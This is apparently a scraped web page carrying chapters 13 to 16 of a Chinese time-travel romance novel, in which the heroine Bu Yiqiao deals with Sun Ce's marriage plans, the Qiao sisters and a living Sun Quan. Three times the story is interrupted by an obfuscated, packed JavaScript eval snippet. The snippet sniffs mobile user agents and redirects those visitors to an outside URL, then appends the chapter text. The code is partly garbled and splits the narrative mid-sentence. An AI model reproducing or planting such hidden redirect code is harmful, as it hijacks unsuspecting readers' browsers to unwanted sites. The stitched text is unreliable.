;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16467248|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步一乔眨眼看了看她,又看向马上的孙策。 他不记得自己,他看自己是陌生的。 也是,时间又往前了,他怎么可能认识自己。 步一乔欠身行礼,忽地,听见孙策发出爽朗的笑声。 “如此岂不正好?对吧公瑾?” 众人不解好在何处。 周瑜点头道:“确实正好。” 所以他俩到底在好什么啊? 孙策跳下马,越过桥公、大乔、小乔,径直走向步一乔。 “还不知姑娘年岁?” “我——” 二十一已经到嘴边,步一乔忽然想起大乔说自己是她的三妹,那年龄万不可比两位都大。 东汉末年,女性普遍早婚。 虽说“十有五年而笄,二十而嫁。”但实际上,许多女性在十五岁及之前就已经结婚。 掐指一算,大小乔嫁给孙策和周瑜时,年龄很可能也就15岁左右。 她们的妹妹……总不能说自己十四吧! 二十一充十四?听上去好搞笑。 话说古人是真长得显老,这哪儿像十五六岁的样子?孙策彼时二十五……还是那么帅~ 思及至此,步一乔的心又猛地沉下去。 她又想起孙权了。 “问你话呢。”孙策出声提醒,步一乔才从失落中回魂。 “回将军,我与二位姐姐同龄。” 孙策诧异着回头与周瑜对视一眼,又打量起眼前颔着头的姑娘。 “那便还是按计划行事。”孙策笑道,“桥公正好三姊妹,我们正好三兄弟。待军在此修整数日,便启程回吴郡,成婚!” 此言一出,众人皆惊。大乔面色霎时苍白,眸光暗沉;小乔目光复杂地一一扫过众人,倏地轻笑;桥公唯唯诺诺,万幸苟活。 至于步一乔…… 哪儿来的三兄弟?你孙策兄弟遍地是!孙周张?张昭?不能吧! 199年张昭都虚岁45了!那是你的叔叔! 这种时候,她的脑子格外好使。 “将军,我——” “我意已决,公瑾意下如何?” 孙策站到步一乔身侧,四人一同看着下马走来的周瑜。 周瑜站定小乔身旁,未来的夫妻俩相视一笑。 “如此甚好。”周瑜道。 步一乔纵观全局。 这个站位……好像有哪里不对? 她抬眸看向孙策。风沙肆虐过的脸上还沾有血迹,即便如此,也帅得令人心颤。 “将军……” “嗯?”孙策垂眸看来。 步一乔迟疑着,看了眼大乔。 “将军的计划……莫非是大姐嫁给将军,二姐嫁给周公子,我嫁给……” “答对了一半。” 孙策在她说完之前抢过答案。 “原本只听闻桥公有二女,倾国倾城,我与公瑾便想向桥公提亲。却不想……” 勇猛武将又收起了他的锐利,眼底含笑,眸中映照出步一乔错愕的神情。 “却不想方才一眼,我便生出与你一见如故之心。当即,改了主意。” “改了……主意……一见如故……” 步一乔像个傻子,说话一卡一顿的。 孙策颔首,却在看到她滑落的眼泪时,愣了神。他抬起手背想擦去,又看到脏兮兮的手,收了回去。 “还不知姑娘芳名?” “我……”步一乔抽了抽鼻子,挂着眼泪,笑道,“一乔。” “一乔?怎么写的?” “一二三四的一。” 孙策噗嗤笑道:“桥一乔?瞧一瞧……呵,名字还挺有趣。” “可是……字不同啊……” “不行,日后若是禀报军情,混淆了怎么办?” 孙策沉吟片刻,灵机一动。 “罢了,反正你已是我孙策的人。往后,我都唤你夫人吧。” “夫人……你要娶我……” 步一乔又哭了,哭得更厉害了。 孙策慌了,赶紧问旁人有没有绣帕。 大乔递过来,孙策接下后亲手擦拭步一乔的脸。 “到底何事如此伤感?是不愿——” “不是!不是……”她拼命摇头,极力否决。 嫁给孙策她高兴还来不及。 但这不是高兴的眼泪,步一乔很清楚。 而是那个人。 14. 忆相逢 此时此刻,步一乔想起了诸多事情。比死之前的走马灯还想得多,想得齐全。 上一次穿越至建安五年是三月下旬,孙策唤自己“大乔”,自己掐指一算,时间正好吻合。自己即将顶替历史上的“大乔”,成为大乔嫁给孙策! 呸!吻合个屁啊!策乔相遇早过几个月了!什么狗记性! 还大言不惭问偷袭许都一事,只身入贼窝,威胁三门客……步一乔啊步一乔,你啥时候这么猛了?! 话说当时为何,孙策身边没有大乔呢? 而眼下,不过孙策说要娶的不是大乔,而是“大乔”,就感动或伤感到痛哭流涕。 当然,她很清楚,还有另一个原因。 另一个说要娶她的人。 孙权。 “一乔……步一乔……做我夫人……不要嫁给……兄长……” 孙权在说这句话时在想什么?是感知到自己时间将至,说的闹别扭的话,还是真心想娶她步一乔? 不能吧,十八九岁的人……呃,在古代十八九岁孩子都几个了吧。 步一乔抬眸观望皖城街市上的人声鼎沸。 攻打皖城时,十七八岁的孙权,在哪儿呢? 步一乔似乎很想念孙权,恨不得方才在桥府门口便抓着孙策的手,问他弟弟在哪儿。想问问他,是不是还活着。 只是想知道他是不是复活了,历史是不是回到了正轨? 是喜欢上了?自然不是,步一乔清楚这一点。谁能对一个死在自己怀中的人轻易释怀?更何况当时…… 沉沉叹了口气,步一乔又想起了…… 丢下悉听尊便的话后孙权要走,苍白的身子坐在凌乱中,不争气地哭着威胁他不许走……缠绵过后,坦诚相待的两人,拥着身子,说了些尴尬的情话,人就…… “唉……” “怎么了?为何唉声叹气?”身旁的小乔问道。 步一乔沉着眸子道:“想起了一位故人。” 军队修整,大乔于家中与桥公商谈事情,步一乔同小乔便出门,送些东西去给孙策周瑜。 临走前,她特意观察了一番大乔的神情。如愿不嫁给孙策,她应该是高兴的吧?可为何方才的表情,似是生气了? 女人的心思好难懂。 思及,步一乔又叹了口气。 “唉声叹气的,衰神都要被你叫来了。”小乔嘴上说着刻薄的话,眼底要是担忧的温柔,“乱世苟活已是万幸,可别把自己愁死。” 步一乔听见关怀,摇了摇头道:“纳妾娶妻一事,大乔她……不会生气吧?可她原本也不想嫁给伯——孙策将军,此番,应是顺了她的意吧?” 小乔狐疑地侧目看了看她,“姐姐是这般与你说的?” “嗯?说什么?” 小乔似是无语了一下,稍稍翻了个白眼道:“说她不愿嫁给孙策将军啊。” “啊……嗯,是。” 方才小乔的表情,怎么感觉……有种违和感?闺阁女子如何做出这等表情? 小乔体态端庄却嗤之以鼻,低声道:“哼,口是心非。” “什么?” 步一乔若不是听得过分真切,真不敢相信方才小乔讽刺的人……是大乔。 小乔两根手指搓着袖口,眼神流转。又凑近步一乔,唇角噙着看透世情的浅笑。 “别信她那套‘女儿家心思’的说辞。我与她一同长大,岂不知她?她这是拿着闺阁女儿的手段,来下这天下最大的棋呢。” “……她?”步一乔吃瓜的表情愈发明显。 小乔挑高音调嗯了声,眼波朝前方一掠,笑意更深继续道:“孙将军是主帅,自然要配最难得的战功。她越是推拒疏离,越显得金贵。非得主帅亲自来求、费心折取,才不算辱没了身份。待他来时,见她姿容气度,方知这‘负隅顽抗’的城池里,果然藏着值得他倾心相待的珍宝。” 小乔语气里带着几分了然与讥诮。 “什么佳话?不过是把‘瓜分’做成了‘恩赐’。经此一番,她不仅是孙策将军明媒正娶,更是他心心念念求来的战利品。” “大乔与你说的?” “我二人姐妹,不说也能明白。” 虽然文绉绉的话步一乔听得云里雾里,不过有件事她听明白了 二乔姐妹的关系似乎不大好? 于是,她打算试探试探。 “你们姐妹……关系不好?” “挺好的呀,姐姐待我极好,你从哪儿误解来的。” 方才的话哪里听得出好了?分明是你的话让人产生歧义的好吧! 小乔继续道:“大抵是我愚笨吧,不如姐姐聪慧,总不如她心思缜密,常常自寻烦恼罢。” 大乔确实生了一副精明能干的样子,尽管接触不多,加之小乔的点播,步一乔约莫着晓得大乔是个什么类型的姑娘了。 是自己永远也成为不了聪明的女人。 “光顾着说大乔姑娘,还不知小乔姑娘怎么想的?” “周中郎吗?”小乔望着前方眉眼微弯,“不瞒你说,在得知我会嫁给二人之一时,特地找了位道士,替我算命。” “哇……结果呢?” “道长说,若是嫁给周瑜,琴瑟和鸣;若是嫁给孙策,守寡一生。” “……”步一乔怔愣住,倏地捏住小乔的衣袖,“请务必将这位道长推荐给我!” 小乔愣了瞬,轻笑道:“你也想算命?” “不,只是觉得这位道长……有点东西。” 何止有点东西,简直先知下凡啊! * 步一乔暂且抛开先知,清楚眼下更重要的是什么,自己与小乔为何在长街漫步。 大乔。 此次穿越第一棘手事件主人公。 “依照小乔姑娘的意思,大乔姑娘其实是愿意嫁给孙策将军的,只是碍于……好像也不碍于?”步一乔揉了揉额角,低声嘀咕,“女人的心思好难懂……总而言之,我事先答应她在先,眼下是不是该去劝劝?” “劝谁?孙将军吗?让他娶姐姐,你嫁给那位尚未露面的‘弟弟’?” 步一乔嘴角轻轻一抽,“弟弟么……真的不是叔叔吗……” 步一乔想到此人大概率是张昭,整个人都不好了。 这就是旧时代女性的悲苦吗。 但倘若孙策所说的这位“兄弟”……是他呢? 完了,怎么又想偏到那人身上去了!步一乔暗自懊恼,明明在认真盘算正事,思绪却总不由自主地绕回故人身影。 “你为何总心神不宁的?”小乔轻轻牵起步一乔的手,带着她往路边靠了靠,让过一架辘辘而过的马车。 步一乔傻呆呆地抬眸:“我吗?有吗?” 小乔无奈浅叹:“时常望着某处发愣,唤你半晌才回神。” “你也没唤我吧?” “嗯,没有。” 小乔抿唇一笑,眼底掠过一抹了然的光,却也不点破,只将她的手握紧了些,继续向前走去。 “莫非有心上人了?同我说说?” “没有。”步一乔几乎是当即回答,不带一丝犹豫,“没有心上人。” 小乔看破不说,狡黠笑道:“唉,还说我帮帮你呢。成全你与心上人,也解决你不晓得如何成全姐姐与孙将军一事。” “成全……”步一乔仍由小乔牵着自己,全神贯注在思考上,“虽说我答应大乔姑娘在先,但非要说……我一点也不想将伯符让与他。” 小乔打量着她,眼瞅着前方便是策瑜军队驻扎地,牵着步一乔的手捏了捏。 “罢了,回头你自己慢慢想吧。” * 营中满是糙汉,两人站在门外伸长脖颈,望不见两个美男子。正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16467249|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当小乔踮起脚尖张望时,一个清越的嗓音自身后响起。 “二位姑娘这是去哪儿?” 两人闻声齐齐回头。 周瑜今日未着戎装,一袭月白深衣衬得他风姿特秀。 小乔只觉得心口像是被什么东西轻轻撞了一下,一时间竟忘了言语,只是怔怔地望着他,颊边不由自主地泛起浅浅红晕。 分明只是第二次见面,怦然的心动却与初见时无二。 周瑜目光先是掠过步一乔,随即不由自主地停驻在小乔微红的脸颊上。 初见的惊鸿一瞥,此刻又清晰地浮上心头。 他迅速收敛心神,唇角扬起如常清浅却如沐春风的弧度。 小乔颊边泛起浅浅酒窝,羞涩道:“来看看将军,可有什么需要——” “我是来找周将军的。”步一乔利落地截过话头,惊得小乔睁圆了眼。 “正好,我也有事,正要去寻姑娘。” 说罢,他看向小乔,抬手示意亲兵。 “劳烦送乔姑娘至客舍歇息片刻。” 步一乔捏了捏小乔的手心,道:“放心吧,我对周将军没那兴趣,安心在客舍歇息等我吧。” 小乔闻言,脸颊更红,似嗔似羞地瞥了步一乔一眼,又飞快地偷瞧了周瑜一下,这才随着亲兵一步三回头地离去。 * 看着小乔离去,周瑜并未多言,干脆利落地转身走向另一条僻静巷口。步一乔压下心头纷乱思绪,迈步跟了上去。 巷口槐树下,周瑜端正坐下,步一乔看了眼周围的空位,在并排的宽板凳上坐下。 “周——周公子先说吧,为何寻我?” “倒也不是什么重要之事,只是那日初见姑娘,竟有种似曾相识的错觉。” “不是错觉吧。”步一乔凝视着周瑜似笑非笑的眉眼,“周公子是笃定了与我曾见过吧?” 周瑜眼底掠过三分讶异七分玩味,扬起笑。 正要开口,一位身着轻甲的部将匆匆赶来,在他耳边低语几句。周瑜只微微点头,部将便迅速离去。 小插曲并未打断方才的话题,他转而接上步一乔的话。 “的确如此。姑娘是个聪明人,与我想的一样。” 步一乔追问:“你记得?” “记得什么?” “你我二人真正的初见。” “非也。”周瑜抬手优雅地轻按太阳穴,“虽说笃定,但瑜绞尽脑汁也想不起究竟是何时何地。甚是怪异吧?”他看向步一乔,目光坦诚,“此番离奇,还是头一回。” 步一乔眼中光芒微黯。 “伯符呢?他有提起过……我什么吗?” “不曾。” 步一乔竟不由自主地松了口气。但这放松只持续了一瞬,她便后知后觉地意识到背后的含义,不禁在心底泛起一丝苦涩的自嘲。 又从零开始。 周瑜默默观察着步一乔脸上瞬息万变的复杂神情,适时地转移了话题:“但你或许会想知道另一条情报。” 他刻意停顿了一下,成功吸引步一乔全部的注意力。薄唇一张一合,道出简单的话语。 步一乔的心渐渐被揪紧。 “此话……当真?”步一乔的声音在发抖,手也不自觉攥紧。 周瑜点了点头,确认了消息的真实,也确信了自己内心的猜测——眼前的姑娘与“他”,果然是自己脑海中一闪而过的那样。 他确实与步一乔初见,却又似不是。 在桥府门口见到这姑娘,周瑜甚是诧异。自己竟从她身上想到了仲谋。感觉曾几何时,路过仲谋房外时,窥听到屋中有这女子与仲谋调情娇嗔的声响。 兴许是梦吧,兴许此二人相貌有些许相像吧。周瑜心想。 步一乔僵硬地从板凳上站起身,不可置信道: “孙权在……皖城?现在?!” 15. 余生缘 步一乔几乎是连跌带撞地冲向周瑜告知的地点。 建安四年,孙策攻克皖城,麾下将士俘获了刘勋家眷百余人。当时虚岁十八的孙权,因随兄长及其他将领家眷滞留城中,未及撤离,竟成了这场胜仗中一个微妙的“俘虏”。 不知何时,小乔也跟了上来。许是周瑜折返时与她说了什么,才让她匆匆赶来。只是她体力远不及步一乔,一路疾奔后几乎虚脱,整个人软软地挂在她肩上。 “你……你……你……”小乔喘得上气不接下气,“你跑这么快做什么……” 迟疑了一下,步一乔推开眼前沉重的大门。 “孙权……” “啊?”小乔微怔,“孙权是……是孙策将军的弟弟?孙仲谋?” 想不到从天而降的姑娘居然同孙仲谋也认识?光是周瑜与她初见便有要事要谈,就足够令她震惊。 眼前的人,到底什么来头? 话说她那日穿的衣裳好生奇怪。 门推到一半,步一乔的手忽然顿住。 她不敢再推。 她还没准备好,该以怎样的神情、怎样的心情,去见一个“死而复生”的故人。 小乔见她眼中泪光闪烁,轻轻握住她的手,低声道:“不如先敲门吧。” “不行!”步一乔脱口而出,“我只悄悄看一眼,看一眼就走。” “这样么……” 小乔心中的疑云愈发浓重。 步一乔深吸一口气,咬紧牙关,终于将门彻底推开。 远处家眷人群中,独有一人气质卓然。那少年身形挺拔,举止从容,眉目间既有书卷气,又不失将门风范。 是孙权……他真的活着……他活过来了…… “他没死……” 泪水无声滑落。若不是手背上传来温热的湿意,小乔甚至未曾察觉步一乔又哭了。 “怎么又掉眼泪……”小乔轻叹着,一边为她拭泪,“妆都要花了。难道是见故人重生,悲喜交加?” “嗯……”步一乔嗓音沙哑,抿紧的双唇止不住地颤抖,“是……他活着……他没有死……哇啊————!!!” 小乔被她突如其来的嚎啕惊住。 步一乔猛地扑进她怀中放声大哭,引得四周目光纷纷投来。 “他没有死……他还活着……他还活着……” 孙权闻声望向这边,只见一陌生女子埋首哭泣,另一张面孔也不曾相识。当是哪户乱世重逢的姐妹情绪激动,便未多加留意。 * 小乔手足无措地拍着步一乔颤抖的后背,目光不由自主地投向远处的孙权。 少年只是淡淡一瞥,便转身与身旁的老仆低语。阳光落在他青色的衣襟上,勾勒出清瘦却挺拔的轮廓。 小乔心中疑云更甚:到底是何等旧识,能让她伤感成这般?可若是久别重逢,为何只敢远远偷望一眼,不敢相认? “话说你居然认识他?”小乔的疑惑脱口而出。 眼见着四周看热闹的百姓越聚越多,窃窃私语声渐起。 “我们……我们先离开这里。”小乔试图将步一乔从自己肩上扶起。 可怀中的人仿佛被抽走了所有力气,沉重地压着她,温热的泪水早已浸透衣襟,嘴里还反复念着那句叫人听不真切的“他没死”。 就在这时,一阵脚步声由远及近。 “二位姑娘可是遇到了什么难处?” 儒雅的声音让两人同时一怔。 步一乔的哭声戛然而止,却不敢抬头,生怕红肿的狼狈样被人发现。小乔抬眼望去,文士打扮的中年男子站在几步开外,眉目温和。 是张昭! 小乔连忙敛衽行礼:“见过张昭先生。” 步一乔终于抬头,慌乱地用袖子擦拭眼泪。张昭的视线在她哭花的脸上停留片刻,又望向后方敞开一半的门。 “冬日风寒,二位姑娘若是不弃,可随我至偏厅稍作歇息。”张昭平和道。 “不必了……”步一乔下意识后退半步,想趁机逃走,却被小乔轻轻拉住。 “多谢先生好意,那便劳烦先生了。”小乔欠身致谢。 * 孙权已不知去向,穿过回廊时,步一乔始终低着头,生怕和熟人照面。 小乔始终牵着她的手,时刻顾及她的反应。 张昭将她们引至一处僻静的厢房,吩咐侍女准备热水和干净的布巾。 “二位稍作休息。”张昭意味深长地看了步一乔一眼,“若是需要什么,尽管吩咐下人。” 房门合上的瞬间,步一乔终于支撑不住,跌坐在榻上。 “你认识将军的弟弟仲谋。”小乔的语气笃定,不再有半分疑问,“而且,你曾经以为他死了。” 步一乔闭上眼,泪水再次滑落。 她该如何解释?说她来自千年之后,在史书中读过关于这个时代的一切?说她知道孙权会活到七十岁,会成为东吴的开国皇帝,却也会在晚年变得多疑残暴? “不、是的……”步一乔擦掉眼泪,偏过头藏起脸,“只是他与故人极其相似,不由伤感罢了。” “我不信。” 小乔走到她跟前蹲下身,用绣帕轻轻擦拭她的脸。步一乔又想用手袖,被小乔拦下。 “女儿家的肌肤娇贵,这绣帕柔软些。” “谢谢……” 步一乔面对真心待己之人,从来无法说谎。如同当初无法对孙策撒谎一般。 她可以逃避,却做不到欺骗。 而此刻,是小乔。 步一乔眼睛干涩得厉害,用力闭了闭,再睁眼时声音沙哑:“不要告诉别人……我……抱歉。” 她终究说不出口。 如此荒诞之事,或许沉默才是最好的选择。 小乔在她身旁坐下,轻轻握住她冰冷的手。“你可知,方才张昭先生已经起疑了?” 步一乔猛地抬头。 “将军新得皖城,收纳降卒家眷,此刻正是敏感时分。”小乔压低声音,“何况你在门外哭得如此伤心,任谁都会多心。” 是故意哭丧的余孽?还是暗中报信的细作?步一乔心头一紧,若被怀疑,不仅自身难保,恐怕还会连累小乔。 “不……会吧?”步一乔沉了沉气,“那我该如何是好?” “事已至此,唯有以行动证你清白。”小乔轻声道,“不如寻个时机,主动与孙将军一谈?眼下张昭先生想必已去禀报了。” “……有可能。”步一乔将脸埋得更深,“我为何总做些蠢事……” 小乔轻轻从鼻息间哼出一声笑来,笑意里浸满了无奈的怜爱。 “可不是么,尽是些糊涂事。答应我姐姐的还没理清,眼前倒又添了一桩新的。你这榆木脑袋,到底从哪儿来的?” 步一乔恍然抬头,“啊!对啊,还有大乔的事儿,我都忘了……” 这都什么事儿啊!!! * 冬日的皖城入夜后寒气蚀骨,步一乔捧了烫人的手炉,坐在桥府后院发愣。 寒冷能刺激醒大脑,便于思考。 换算成现代的时间,眼下不过刚吃了晚餐。可古人习惯了日落而息,此刻皆在屋中歇息。 “伯符应该睡了吧……”步一乔对着呵出的白气喃喃自语,“要不要去看看他?” 未出阁的姑娘深夜去寻未婚夫婿,传出去怕是名声尽毁。但步一乔并不在意。若是真惹了闲话,大不了故技重施,一走了之便是。 思及此,她下意识偏头望向不远处院墙角的那口井。 “这要是跳下去,没穿回现代,先把自己淹死了吧……”她自嘲地扯了扯嘴角。 还是等随孙策回到吴郡再从长计议吧。 躺棺材,比跳井好 算来距历史交流会的总结汇报还有五天,意味着她能在这个时代停留百日。三四个月的光阴,足够了。 * 孙策的居所为方便军士通报,大门常开。步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16467250|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一乔来得凑巧,恰逢守卫暂离,许是轮值更替的间隙。 她轻手轻脚踏入庭院,心中惴惴。旁人倒不甚畏惧,唯独怕撞见周瑜。 伯符的一见如故,和周瑜的似曾相识,都让步一桥莫名产生不安。身为当代青年人,竟开始怀疑时间的正确流向是否朝前走的。 “时空悖论吗……”她喃喃。 线性、不可逆的因果观。那自己的这场时间之旅,不可逆的是什么?是自己最初的目的吗?两次皆无法改变的事实结果。 建安五年,孙策遇刺身亡,时年二十六。 * “一乔?” 窗边一声轻唤。孙策执卷而立,面露讶色。他着了身玄色深衣,墨发以一根简单的发呆束起,倒添了几分士族子弟的清雅。 步一乔尴尬地抿了抿唇,四下望了望,道:“忽然想起将军,便来看看你可曾安歇。这般鬼鬼祟祟的,实在失礼……” 孙策裂唇一笑,放下竹简,快步来到她面前。他身形高大,步一乔需仰头才能对上他的目光。 “夜寒露重,你身子单薄,当心受凉。” “多谢将军关怀。既见将军安好,我便告辞了。”步一乔转身便要走。 “且慢!”孙策叫住她,“也不急一时,待会儿我护送你回府。来,我正好有东西送你。” 暖阁内陈设简朴,案上竹简犹带墨香。孙策添旺炭火,邀她同坐,忽而从屏风后取出一盏墨梅绘灯,挨着她坐下。 “将军这么好兴致?” 步一乔有些意外,抬眼看他。近看之下,他眉眼间的英气逼人,但望着她时,那目光总是软的。 “年关将至,我正好想到,便画了盏灯送你。” “给我的?” 步一乔怔怔接过花灯,灯壁上的墨梅枝干虬劲,花瓣清雅。她指尖轻抚灯上寒梅,心绪如潮。 见卿心欢,却又不知有何不对。 步一乔幻想孙策的梦整整一年,一切的一切起源于一场墓碑边的午后梦。与他于山野间,忘乎所以、沉沦天地。 可是……无论是第一次还是眼下,眼前的伯符总与梦中“孙策”有何不同。 本能与理智在叫嚣。 步一乔最不愿承认的,是本能与伯符毫无欢愉之欲。 那么,孙策呢? “那日,伯符为何选择了我,而非姐姐?你们原本……不是说好的么?” 步一乔抬眼望去,眸中盈满期待,又带着点不安。 孙策微微一笑,目光温润。 “大概出于某种心有灵犀吧。”他笑了笑,“那日见你欲言又止的模样,竟让我恍了神。待回过神来,已站在你面前,再看不见他人。” 步一乔轻笑打趣:“将军这般说辞,莫不是对我一见钟情了?” “心有确信。纵使轮回千遍,我仍会第一眼就认出你。你是我金戈铁马里,唯一想要守护的安宁。” 步一乔的耳根染上绯色。 “将军可以去写诗了。说得那么感人,我都快哭了。” 孙策笑意渐深,伸手轻轻拂开她额前一缕碎发。 时间似乎不曾更变,此时,她依旧是他即将三书六礼聘娶的“大乔”。 “大概是你上辈子救了我吧。这一世,换我来护你周全。” “救了你……” 步一乔忽然想起了初临江东,被孙策差点当成满口胡话的妖人,一刀砍了。第二次穿越回去,救了孙尚香,孙策以恩人留下她,不过半月便要与她长相厮守。 此番第三次邂逅,一如既往的一见钟情。 上辈子……于步一乔而言不过一月之前,于他而言,已是上辈子了吗? “那日将军说的三兄弟……还有一人是谁?”她收敛心神,轻声问道。 “我孙策兄弟虽多,但我最看重的,除周瑜外,自是二弟仲谋。” 步一乔倏地抬眼,眸中满是惊诧。 “你想把大乔嫁给……孙权?!” 16. 见尘雾 孙策见步一乔如此震惊,温声解释道:“大乔姑娘年方十五,仲谋恰好十八,岂不正合适?” 啊……喊习惯了姐姐,步一乔真当大乔比她年长,全然忘了这些孩子都还是未成年……不对,刚成年的姑娘。 和孙权真正年纪差距太大的,是自己。 穿越可以倒流时间,他们可年轻可衰老或死亡,不变的只有千年后自己。 可这么一来,千年后那些嗑策乔CP的同好们怎么办!岂不是要把她步一乔抓起来千刀万剐?绝对不行! “将军!” “嗯?” “我其实有事儿跟将军商谈……”步一乔忐忑不安,“你可不可以……可以……娶……” 口是心非的话说不出口,步一乔快把自己急死了。 孙策微微歪头,困惑地注视着她。 长街寂静,寒风掠过,想来夜深时分会落雪吧。 “你……你……” “我怎么了?” “你……”步一乔面部逐渐狰狞,最终却只泄气道,“你可不可以牵着我走有点冷。” 孙策愣了下轻笑出声,温热宽厚的手掌已将她交叠在身前的指尖轻轻握住。 “冷成这样怎么不早说?以后不许再这么晚单独跑出来了。” “嗯……记住啦。” 步一乔突然想哭,眼眶酸涩着,自尊心又在作祟。攥在孙策掌心的手渐渐收紧,抑制住翻涌的情绪。 她不想放手,不想把孙策拱手让人,也不想……亲手撮合两个不该在一起的人。 都怪孙权……偏偏是他,一次次打乱她的心绪。 * 步一乔仔细想了想自己这种过于复杂的情感。 于孙策,是数年梦女的执念。对幻想中的孙策比现实中的任何人都上心,男友没有不重要,反正她有臆想中美男。 于孙权,是愧疚、是自责、是抱歉。他救了自己,被自己强吻。虽说骗去房中是孙权不对,但……她步一乔的身体是迎合的,是欢愉的。 她将这种反应归咎于本能。 但本能,真的会对一个毫无感情的人起反应吗?她步一乔难道就轻浮至此?春梦做多了对身体产生的影响?! 也没做多少吧?一周一次? 又或者,是因为时光倒流?可逆转的时空,与她的身心何干?难道思维与肉身,竟会因穿越而产生割裂? 至于爱恋……她没能得出结论。 * 两人依偎着缓步前行,孙策怕她摔着,步子放得比平日慢了一半还不止。 “一乔?” “……啊?” 恰在此时行至桥府门前,孙策轻声唤回神游天外的步一乔。有什么温热柔软的东西轻轻贴上她的脸颊,留下久久不散的余温。 孙策唇角轻扬,屈指刮了刮她的鼻尖。 “明日便随启程回吴郡,早点休息吧。” “那些家眷,也会一起吗?”步一乔试探道。 “自然。他们会先行一步,待我等将此处事宜安排妥当,再随后出发。” “如此便好。那……伯符晚安。” “晚、安?是愿夜里安康之意吗?还挺有意思。”孙策学着她的语调,含笑应道,“晚安。” * 目送孙策的身影消失在回廊尽头,步一乔在沁凉的夜风里站了许久,终是转身,踱步至大乔屋外。窗棂内灯火未熄,映出一道纤柔的身影。她迟疑片刻,终是抬手轻叩门扉。 “大乔姑娘,你睡了吗?” 屋内传来细微的脚步声,门被轻轻拉开。大乔披着外衫,面容在灯影下显得格外柔和,眼中却带着一丝未散的忧思。 她还在为婚事苦恼吧。 步一乔随她入内,在案前坐下。 “白日里,小乔同我说了些话……但我更想亲耳听听姑娘的心意。满足你心愿的承诺,依旧奏效。。” 小乔说的话可信,但不可全信。步一乔还是更倾向从大乔口中听取她真正的想法。 大乔轻笑道:“家妹心直口快,没有冒犯姑娘吧?” 步一乔深吸一口气,决定不再迂回:“乔姑娘,我……或许来自一个你们无法理解的地方,我知道一些关于未来的命运。” “是同那道士说的一样吗?”大乔苦笑道,“嫁给孙策将军,不过半年举案齐眉,之后便是孤寂一生……” 步一乔垂下眸,沉默半晌,绕过桌子跪坐在大乔身侧,握住她的手。 “你值得的是一段长久、平安、厮守的幸福,而非短暂的绚烂与漫长的伤痛。你多年轻啊,这对你不公平。” 尽管后事有佳话传唱,可对故事的本人而言,这是何等的不幸。 烛影摇曳,映着两个女子对视的目光。这不再是一场“抢夺”式的联姻,而是一次“各取所需”的成全。 “可若预言成真……步姑娘又当如何?”大乔望向步一乔,问出了最关键的问题。 步一乔垂眸良久,终是抬起眼,苦笑道:“若天命不可违,我便回归来处,从此放下妄图改写历史的痴念。但现在,我想再争一次。” 再争一次,保全孙策,尽可能保全所有人。 “为孙将军?”大乔忽然细观她的神色,“步姑娘这般决绝,莫非早已将真心付与了将军?” 步一乔猝然一怔,耳尖微红:“何、何出此言?” 大乔了然轻笑,“看你的神情,是为珍视之人赴死的决绝。” “有吗?”步一乔怪不好意思的挠了挠鼻尖,“伯符是个温柔的人,很难不动心吧……” “温柔?”大乔微讶,“外人皆道孙将军性如烈火,刚愎自用。” “可我眼中的他,是重情重义、落落大方之人……他不该命结于此。”尾音渐弱,步一乔脸色沉下去,升起愁色。 半晌后,步一乔缓慢起身。 “乔姑娘请放心,我会与伯符说明,还你自由之身。” 既然历史注定是悲剧,那就不如由她来改写。 改嫁后的大乔是否幸福暂且不知,但不试一试,谁知道呢。 步一乔转身走向门边,在即将推门而出时,脚步微顿,侧首轻声道: “论年岁,我实际长二位姑娘一些。大乔姑娘既说我三人为姐妹,从今往后,我便是大乔吧。” * 江东,吴郡。 从皖城回来,不多日便是春节。孙家好久没这么大团圆的过年,加上一些亲戚来吴郡投靠,今年注定热闹。 步一乔前几日听吴夫人提起,一位远房的徐家姑娘新寡,也会来府中暂住,请孙家多加照拂。 年二十八,孙家上下热闹得很,忙里忙外地装点布置。步一乔因前些日子“不小心”帮倒忙,差点把手指砍没了,被吴夫人心疼地劝离了核心区域。 这些日子,男人们在前继续外面的事,女人则在宅院中迎接新春。她也得此没能与孙权碰上,稍稍放宽了些心。 帮不上大忙,步一乔心下有些讪讪。只得偷偷溜出府外,去街上看看有什么可以添置的小玩意儿,也算尽份心,或许也能散散心。 寒风轻呼,却吹不散满街的人间烟火气。人头攒动,临近新年就是热闹。步一乔裹了裹身上的披风,目光漫无目的地在琳琅满目的货摊上流连。 忽然,她的目光定住了,黏在了不远处的一个身影上。 并非那身影有多耀眼,而是他身边站着一位素衣女子,以及他们之间那种过于亲近的姿态,刺得她眼睛生疼。 